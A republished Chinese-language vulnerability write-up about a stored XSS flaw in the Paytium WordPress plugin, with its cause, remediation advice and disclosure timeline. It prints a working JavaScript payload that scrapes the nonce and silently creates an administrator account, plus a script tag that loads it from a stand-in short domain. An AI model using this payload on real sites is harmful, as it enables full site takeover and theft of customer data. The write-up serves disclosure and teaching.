当前位置: 首页 > news >正文

Paytium WordPress插件存储型XSS漏洞深度分析

Paytium 3.0.13 WordPress插件存储型XSS漏洞

概念验证

背景

WordPress目前拥有60%的市场份额,是最常用的内容管理系统。默认情况下WordPress仅是一个博客平台,但通过安装插件可以将其转换为网店、众筹平台甚至读心器。

任何人都可以创建和发布WordPress插件,没有质量控制机制,唯一参考是其他用户的插件评价。已安装的WordPress插件中的漏洞可能导致严重问题:客户数据可能被盗取,甚至有人可以成为网站管理员。

Paytium WordPress插件

作者受朋友委托测试其网站安全性。该网站销售在线培训课程,使用名为Paytium的插件接收订阅用户的在线支付。

Paytium允许在WordPress页面中插入支付表单:简单的捐赠表单或包含客户姓名和邮箱地址的扩展表单。截至2019年9月,该插件有3000+安装量。

存储型XSS

漏洞发现

首先尝试在姓名字段中输入HTML代码,查看是否会被渲染。如果能够向该字段注入HTML,当网站管理员查看包含被篡改姓名的记录时,代码可能在WordPress管理员后端执行。

尝试在姓名字段加载图片:

Jonathan Bouman概念验证 <img src="https://i.imgur.com/9eNikWc.jpg" alt="You've found waldo">

HTML注入成功,这被称为存储型XSS。输入未经过适当验证,使我们能够添加自己的HTML内容。我们在WordPress后端获得了认证存储型XSS!

此外,Paytium插件还会向攻击者发送公共发票链接(发票ID经过哈希处理)。结果是公共存储型XSS。

漏洞代码

由于Paytium插件是免费的,我们可以识别漏洞代码。经过几分钟搜索,发现名为get_field_data_html()的函数,它直接输出存储的数据,没有进行HTML转义。该代码被WordPress后端用于显示订单概览。

这是一个不转义HTML值的echo语句。

从存储型XSS到完全接管WordPress

如果我们能静默添加具有预定义用户名和密码的新管理员用户呢?好主意!

WordPress有一个特殊页面,包含允许管理员邀请新用户并指定其角色的表单。

该表单受nonce保护。Nonce是浏览器发送给服务器的带有秘密值的隐藏参数。服务器使用它验证特定请求确实来自原始表单,否则恶意网站可能代表受害者强制提交表单——CSRF攻击。

服务器将此外部nonce添加到它渲染的每个表单中。外部恶意网站无法恢复此nonce值,默认情况下浏览器不允许一个域查看另一个域的HTML内容,因此没有Nonce我们就无法提交表单。

利用载荷

var ajaxRequest = new XMLHttpRequest,requestURL = "/wp-admin/user-new.php",nonceRegex = /ser" value="([^"]*?)"/g;ajaxRequest.open("GET", requestURL, !1),
ajaxRequest.send();var nonceMatch = nonceRegex.exec(ajaxRequest.responseText),nonce = nonceMatch[1],params = "action=createuser&_wpnonce_create-user=" + nonce + "&user_login=joax&email=attacker@email.com&pass1=helloworld123&pass2=helloworld123&role=administrator";(ajaxRequest = new XMLHttpRequest).open("POST", requestURL, !0),
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
ajaxRequest.send(params);

载荷包含两个阶段:

  1. 请求user-new.php页面并使用正则表达式提取nonce值
  2. 向user-new.php页面提交POST请求,包含预定义的登录详情和步骤1中的nonce

短域名的重要性

可以直接将脚本放在姓名字段的<script></script>标签中加载。但大多数字段有最大字符限制或不允许特殊字符。

建议将载荷放在文件(如1.js)中,并在互联网上的短域名上托管。越短越好,我们希望避免表单中的字符限制。因此获取一个3或4个字符长的域名并上传载荷!

上传到外部域时,确保其支持HTTPS,以避免浏览器关于"不安全内容"的警告。

最终载荷

<script src=//short.domain/1.js></script>

结论

由于Paytium插件不正确的用户输入验证,我们能够将javascript注入WordPress后端。任何加载此javascript的WordPress管理员将自动添加具有我们预定义凭据的新管理员用户。这导致WordPress被完全接管。此外,我们能够通过未认证的发票URL查看存储型XSS载荷——对钓鱼者来说非常完美。

解决方案

  1. WordPress默认支持用户输入验证;https://codex.wordpress.org/Validating_Sanitizing_and_Escaping_User_Data。这允许轻松渲染用户输入并避免常见的HTML注入。

  2. 此外,WordPress应要求管理员在执行重要操作前手动输入密码。考虑在允许添加新管理员或安装插件之前需要密码提示。另一个解决方案可以是不同的访问级别,只想查看新订单?使用没有超级权限但仅够查看订单的用户登录。有关更多信息,请参阅角色和能力。

奖励

时间线

  • 2019年7月31日:发现初始漏洞
  • 2019年9月4日:撰写报告并通过电子邮件通知Paytium
  • 2019年9月5日:Paytium要求更多细节
  • 2019年9月6日:Paytium发布插件更新,未提及安全修复
  • 2019年9月7日:Paytium发布插件更新,未提及安全修复
  • 2019年9月28日:发现未认证存储型XSS漏洞,更新报告并电子邮件通知Paytium
  • 2019年10月1日:Paytium回复报告评论,通知正在准备安全修复,本周晚些时候更新状态
  • 2019年10月4日:添加关于WordPress角色和能力功能的内容,添加为特殊操作(如添加用户和安装插件)引入提示屏幕/手动输入的解决方案
  • 2019年10月7日:Paytium发布修复并通过电子邮件通知客户
  • 2020年5月12日:报告发布
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

http://www.hskmm.com/?act=detail&tid=28386

相关文章:

  • 金蝶KIS标准版v9.1_Patch/金蝶标准版9.1破解/KIS标准版v9.1下载
  • PHP 开发者应该理解的 Linux 入门权限指南
  • 2025.10.11——1绿
  • 专题:2025年AI Agent智能体行业洞察报告|附110+份报告PDF、资料仪表盘汇总下载
  • openlayers基本使用(街景+标注+绘制)
  • VMware ESXi 9.0.1.0 macOS Unlocker OEM BIOS 2.7 AQC 网卡特殊定制版
  • 推荐系统三大技术挑战解析
  • VMware ESXi 9.0.1.0 macOS Unlocker OEM BIOS 2.7 ConnectX-3 网卡特殊定制版
  • VMware ESXi 9.0.1.0 macOS Unlocker OEM BIOS 2.7 NVMe 驱动特殊定制版
  • 读技术之外:社会联结中的人工智能06分类
  • 中文二字词词语接龙的最长最短路径
  • 【GitHub每日速递 251011】无需注册!本地开源AI应用构建器Dyad,跨平台速下载!
  • SignTool 使用 SafeNet eToken 硬证书进行代码签名
  • 计算机网络技术全面解析:从基础架构到未来趋势
  • 高增长行业碳减排技术路径解析
  • css_01_自适应grid布局
  • css01_自适应grid布局
  • Software Foundations Vol.I : 更多基本策略(Tactics)
  • Ai元人文:算力的涅槃——当“悟空之眼”照见AI决策的下一纪元
  • 每日总结
  • 关于微信公众号/服务号自动回消息问题(python)
  • 10.10 闲话
  • AtCoder Beginner Contest 396
  • Python 中的函数签名:详解与实例
  • 基于AXI模块的视频流传输(上板移植篇)
  • 装饰器工厂与类装饰器:进阶装饰器技术解析
  • 53最大子数组和 动态规划和分制 - MKT
  • Codeforces 2153D Not Alone 题解 [ 绿 ] [ 线性 DP ] [ 分类讨论 ]
  • __closure__:闭包的“身份证”
  • Codeforces Round 1057 (Div. 2)